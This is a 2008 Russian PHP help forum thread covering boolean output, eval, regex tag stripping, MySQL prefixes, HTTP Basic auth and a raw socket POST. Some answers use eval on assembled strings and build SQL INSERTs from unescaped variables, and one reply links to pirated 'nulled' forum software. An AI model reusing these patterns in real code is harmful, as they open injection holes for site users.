Не.. сравниваю сначала, если $a равно $b то $logic=true, если нет, то $logic=false.
PS Вроде понял, в случае false просто ничего не выводится (null, пустое значение), если true, то единица...
Как теперь сделать такое ($a-$d - переменные):
Допустим $string=$a."==".$b."and".$c."==".$d тип строка. Как теперь получить результат логического вычисления того что записано в строковой переменной $string? Заюзать eval ?
$logic=($a==$b)?true:false;
-=lebed=-
28.01.2008, 18:46
$logic=($a==$b)?true:false;
$logic=($a==$b)?1:0;
PS Так видно что false, если выводить на экран...
groundhog
28.01.2008, 19:07
Я не пойму что у вас не получается...
Вот можете убедиться, что в $a попадает boolean тип результата выполнения операции.
var_dump($a = (bool) ($b == $c));
Что касается строковых переменных - да, чтобы получить результат выражения, которое представлено строковым выражением, то нужно применить к нему функцию eval:
$a = '$b=1+1';
eval($a);
var_dump($b);
З.Ы. Кстати информация для размышления: при выводе булевые выражения приводятся к интовому типу... То есть:
$a = true;
print($a);
Выведет 1, а не true...
Как убрать из строки все теги <a> но только если они имеют поле href
<a href="123">wefwef</a> убрать, а <a name="23">wefwef</a> оставить
2cash$$$
Вот впринципе рабочий =)
<?php
$string = '<a href="12">wefwef</a> убрать, а <a name="23">wefwef</a> оставить<a href="123">wefwef</a> убрать, а <a name="23">wefwef</a> оставить';
$body = ereg_replace('(<a href=")+([0-9])+(">)+([a-z])+(</a>)', '', $string);
echo $body;
?>
$text=preg_replace('|<a[^>]+href[^>]+>[^<]+</a>|i','',$text);
так проще и лучше
Тоже самое, просто я привел для конкретного =)
-=lebed=-
28.01.2008, 22:01
З.Ы. Кстати информация для размышления: при выводе булевые выражения приводятся к интовому типу... То есть:
$a = true;
print($a);
Выведет 1, а не true...
Угу, а если $a=false, то не выведется ничего, тогда к какому типу? null?
Дорогие форумчане! Подскажите, как отличить в инете известных личностей от их "двойников"? Так много в последнее время появилось "звездочек", в блогах например...))))))))
astrologer
28.01.2008, 22:52
Угу, а если $a=false, то не выведется ничего, тогда к какому типу? null?
К строке, разумеется.
false соответствует пустой строке, поэтому ничего и не выводится.
Вы можете преобразовать значение в строку, используя приведение (string), либо функцию strval(). В выражениях, где необходима строка, преобразование происходит автоматически. Это происходит, когда вы используете функции echo() или print(), либо когда вы сравниваете значение переменной со строкой
...
Булево (boolean) значение TRUE преобразуется в строку "1", а значение FALSE представляется как "" (пустая строка). Этим способом вы можете преобразовывать значения в обе стороны - из булева типа в строковый и наоборот.Почитать можно здесь:
http://www.php.net/manual/ru/language.types.string.php#language.types.string.ca sting
Префикс - это набор символов, с которого начинаются все имена таблицы для данного форума, чата или еще чего-нибудь. Например, для форумов PhpBB все таблицы начинаются на phpbb_, то есть в базе таблицы типа phpbb_auth_access, phpbb_users, phpbb_vote_voters и т.д. Вообще-то префикс придумывается самим пользователем или устанавливается по умолчанию. У вас есть шелл-доступ на хостер? Или вы ковыряете БД через phpMyAdmin? В первом случае, надо зайти по ssh со своим логином и пассом, затем набрать в командной строке
mysql -uusername -ppassword -hmysql4.freehostia.com
mysql> use dbname
mysql> show tables;
Вместо username, password и dbname вводите свои собственные данные
Вот и все. Во втором случае все просто - достаточно кликать мышкой
Вот как раз через пхпадмин, и я все таки не понял что надо мне ввести в префиксах????
Дай нам хотяб 2 имени таблиц в БД и те скажут какой префикс...
Там мне их надо создать, просит имя и поле, что ввести??
Например FIEtegfsdfgsdfregyefbiv6aegGBUFGEWOIRUFBY_
Короче, может кто-нибудь дать ссылку на движок типа воблы???? :confused: полегче :) :)
оО... тему не читал.. те воблу поставить надо? она у меня и без префикса работала...=)
Еси нужна помощь по установке мож мне постучать завтро после 6ти вечера в асю 370473273 или попробовать поставить ипб http://www.nulled.ws/showthread.php?t=43280
Хорошо, завтра стукну :) :) :) :) :) :) :)
-=lebed=-
29.01.2008, 23:04
допустим я отправляю скрипту параметр так:
http://[site]/index.php?параметр (т.е Get`ом)
Как его принять на стороне сервера этим скриптом?
Зы Т.е я имею ввиду можно ли передать просто параметр никак его не называя...
astrologer
29.01.2008, 23:22
$_server['query_string']P.S. Только в верхнем регистре. Форум почему-то меняет регистр на нижний, хотя в тегах кода не должен.
$_server['query_string']P.S. Только в верхнем регистре. Форум почему-то меняет регистр на нижний, хотя в тегах кода не должен.
$_SERVER['QUERY_STRING']
Проблема с авторизацией, есть два файла:
index.php
include("./login.php");
if ($_SERVER['PHP_AUTH_USER'] && $_SERVER['PHP_AUTH_PW'] ) {
.......................................
}
else
{
auth();
}
login.php
function auth() {
header('WWW-Authenticate: Basic realm="Авторизуйтесь"');
header('HTTP/1.0 401 Вы не авторизированы');
die("Ошибка");
}
Почему при попытке захода стабильно выводится сообщение "Ошибка"? (не возникает окна авторизации)
всмысле не вылетает окошка где нада вводить юзернэйм и пасс?
<?php
if(empty($_SERVER['PHP_AUTH_USER']))
{
Header("WWW-Authenticate: Basic realm=\"Авторизуйтесь\"");
Header("HTTP/1.0 401 Unauthorized");
}
else
{
echo "Пользователь: ".$_SERVER['PHP_AUTH_USER'];
echo "Пароль: ".$_SERVER['PHP_AUTH_PW'];
}
?>
Условие выполняется, но окошка авторизации не появляется
И браузер перезапускал и куки чистил
У тя выполняеться
echo "Пользователь: ".$_SERVER['PHP_AUTH_USER'];
echo "Пароль: ".$_SERVER['PHP_AUTH_PW'];
?
У меня выполняется
Header("WWW-Authenticate: Basic realm=\"Авторизуйтесь\"");
Header("HTTP/1.0 401 Unauthorized");
echo "test";
Но окна не возникает
Попробуй вначале написать
$_SERVER['php_auth_user'] = 0;
Окошко выскочит?
Ммм, скажем так, как отдельный скрипт авторизация появляется, а в моем скрипте почему то нет
<?php
function auth() {
header('WWW-Authenticate: Basic realm="Авторизуйтесь"');
header('HTTP/1.0 401 Вы не авторизированы');
die("Ошибка");
}
if (empty($_SERVER['PHP_AUTH_USER'])) {
auth();
}
else
{
echo "Пользователь: ".$_SERVER['PHP_AUTH_USER'];
echo "Пароль: ".$_SERVER['PHP_AUTH_PW'];
}
?>
У мя так все работает...
Попробуй зайти под другим браузером ищи проблему в include "./login.php";
Нужна помощь. Имеется такой HTTP запрос
POST http://site.ru/script.cgi HTTP/1.0
Host: site.ru
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: Accept-Language: uk
Connection: keep-alive
Referer: http://site.ru/page1
Cookie: id=12345678
Content-Type: multipart/form-data; boundary=---------------------------89463267115936
Content-Length: 441
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqq"
qwer
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqw"
qwer
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqa"
qwer
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqc"
qwer
-----------------------------89463267115936--
Мне нужно отправить его из скрипта сокетом. Правильно ли я оформил HTTP запрос в переменной $in ?
$in = "POST http://site/script.cgi HTTP/1.0\n";
$in .= "Host: mail.rambler.ru\n";
$in .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\n";
$in .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
$in .= "Accept-Language: Accept-Language: uk\n";
$in .= "Connection: keep-alive\n";
$in .= "Referer: http://site.ru/page1\n";
$in .= "Cookie: id=".$id."\n";
$in .= "Content-Type: multipart/form-data; boundary=---------------------------89463267115936\n";
$in .= "Content-Length: 449\n\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqq\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqw\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqa\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqc\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936--\n";
$in .= "\n";
fputs($socket,$in);
Нет, не правильно. Разделитель должен быть не \n а \r\n и, кроме того, На всякий случай, последи за Content-Length
Horsekiller
01.02.2008, 12:55
Пара интересующих меня вопросов...
Решить я их решил, просто интересно.
mysql_query("INSERT INTO `comments` (text, messageid) VALUES ('$text', '$messageid')") or die("0o0".mysql_error());
Работает нормально.
mysql_query("INSERT INTO `comments` (ftext, messageid) VALUES ('$ftext', '$messageid')") or die("0o0".mysql_error());
Выдает ошибку. Почему ?
И еще, почему, если перед setcookie(); поставить echo(); возникает ошибка -
Cannot modify header information - headers already sent
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot